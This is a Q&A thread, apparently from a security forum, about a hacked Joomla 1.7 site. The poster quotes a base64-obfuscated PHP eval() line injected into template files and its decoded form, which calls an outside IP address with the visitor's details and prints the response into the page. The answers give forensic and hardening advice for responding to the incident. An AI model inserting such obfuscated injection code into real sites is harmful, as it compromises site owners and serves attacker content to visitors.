Site backdoor & eval()

Question

I'm running a Joomla 1.7 site which was hacked today. Below script did the hack.

eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));

Above line was injected to my index.php file of the templates folder. Every template which was in the folder had the above code. In each file it was repeated few times.

When I decode the code, it outputs

print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI'])); 

I removed the script and site happens to work fine. Script didn't do anything bad except site did not load at all.

My problem is even when I have set the file permission to 644 and folder permission to 755, How could this happen?

How can I figure out what caused the problem? What steps should I take to prevent happening this in the future?

UPDATE

This Forum Post Assistant / FPA is very helpful

Answer 1

How can I figure out what caused the problem?

Basic forensic steps for this type of breach are as follows:

1. Establish basetime - when did the files that were modified change?
2. Use 'find' to search your webroot for files that changed before basetime but not more than (say) 24 hours before basetime - use "touch" to create files with the start and end times and use find with "-newer" and "! -newer" to search within that time frame. This might identify any files that were uploaded or changed on your server as part of the actual break-in.
3. Now correlate with web access logs to see what happened at the time those any of those files changed. It is highly likely the attacker abused either Joomla or a plugin thereof in order to run code on your system - for example, at 08:00 they trick a plugin into uploading a PHP file to your webroot, at 08:05 and 08:10 they access that newly uploaded PHP file via the web server, and at 08:15 they use it to execute whatever code went through and modified your index.php.
4. Once you find any web log entry which identifies the attacker (i.e., accesses a script that you found that was uploaded by the attacker), you can use the IP address of the attacker to search the logs more comprehensively and see if you can figure out what else they did.
5. If you identify any files the attacker uploaded to your system, you may be able to better understand what they did. In the last such system I analyzed, however, their upload was simply a PHP file which would eval() the contents of the data posted to it - they essentially set it up so they could submit code to the PHP interpreter by POSTing to a web page. This method doesn't leave any traces of the code they actually ran.

When I say "this type of breach" I'm referring to a watering hole attack, where someone breaks into your web server and injects code into your web files so that you will unwittingly serve them to your web clients. Such breaches are commonly performed by attacking the web application / CMS / plugins, and while the attacker runs code on your system, they are less likely to use the breach to build themselves a full backdoor or to try and remove traces from the logs - they're just in, modify your files, and gone.

It is very important that you perform the analysis above in order to identify how they were able to execute code on your system; if you don't, they or someone else will just do it again. Even though the chances are lower that the attacker dove into your system (backdoors, log edits, rootkits) you should strongly consider rebuilding the box and restoring your web content from a clean backup.

Answer 2

Below script did the hack

No - that's what got left behind after the attack.

I removed the script and site happens to work fine.

But you haven't fixed the vulnerability. The current Joomla version is reasonably secure (older versions are not) but there are a large number of badly written extensions out there. And maybe the attacker didn't even access the system via Joomla.

I had a quick look around, but there doesn't seem to be any high voted questions on here regarding the process for dealing with a hacked system - but do read this one on serverfault.

when I have set the file permission to 644 and folder permission to 755

Before or after? Owned by whom?

How can I figure out what caused the problem?

Read your logs. But assume that these may have been tampered with too - look for gaps as well as unexpected entries. You still may not find the answer.

Answer 3

@Dasun

What steps should I take to prevent happening this in the future?

First: Accept the fact your website will never be "unhackable".

After you cleaned up the mess (usually means, start over from scratch), update your Joomla core and update all your components, extensions, et cetera. And keep it updated. Don't forget to double check your file permissions.

One nasty Joomla exploit going round for the last two (or so) months is one for a com_jce vulnerability. So check if you're using that component. Google for more details about the vulnerability. Further there is not much more to do, than to stay up-to-date with software versions.

PS: There is a lot of information available on how to configure your .htaccess file to block (Rewrite) common exploits. But you have to actively monitor for exploits and their signatures, which you can incorporate in your .htaccess file. Ask your hosting provider if they offer protection with a Web Application Firewall (WAF) like ModSecurity.

Answer 4

While the eval() command you show seems relatively benign (although it makes your server download things), the presence of this command in your index.php file indicates that the attacker got a write access to at least some files in your site. He may then have bugged it in various ways, possibly escalating his access into a more thorough system-wide access. That the site "happens to work fine" does not mean that your server has not been riddled with backdoors and rootkits; it just means that the attacker wiped his feet before entering.

That's a nuke from orbit situation, extreme as it may look. You will never be able to trust the integrity of this machine again, unless you cleanse it with fire, crusader-way.

You should still keep a copy of your site and OS for forensics analysis, in order to know how the attacker entered in the first place; see @gowenfar's answer. However, know that many attackers have a tendency to close the door behind them: when they exploit a hole, they install a custom backdoor, and then fix the hole which allowed them to enter (so as to keep exclusivity -- most attackers are highly territorial animals, and will actively oppose other attackers who try to feed on the same prey). Therefore, I suggest making a systematic, file-to-file comparison between the current state of your site (the copy you will take before nuking the machine) and your last known clean backup (you do have backups, I hope ?).

Answer 5

Most of the above answers seem to be missing one vital piece of information, which is that Joomla 1.7 is no longer supported and is open to vulnerabilities.

Joomla 1.7 was a short term release and was end-of-lifed in Feb 2012. My advice would be to consider upgrading as soon as possible. For notes how to upgrade to 2.5 stable http://docs.joomla.org/Upgrading_from_an_existing_version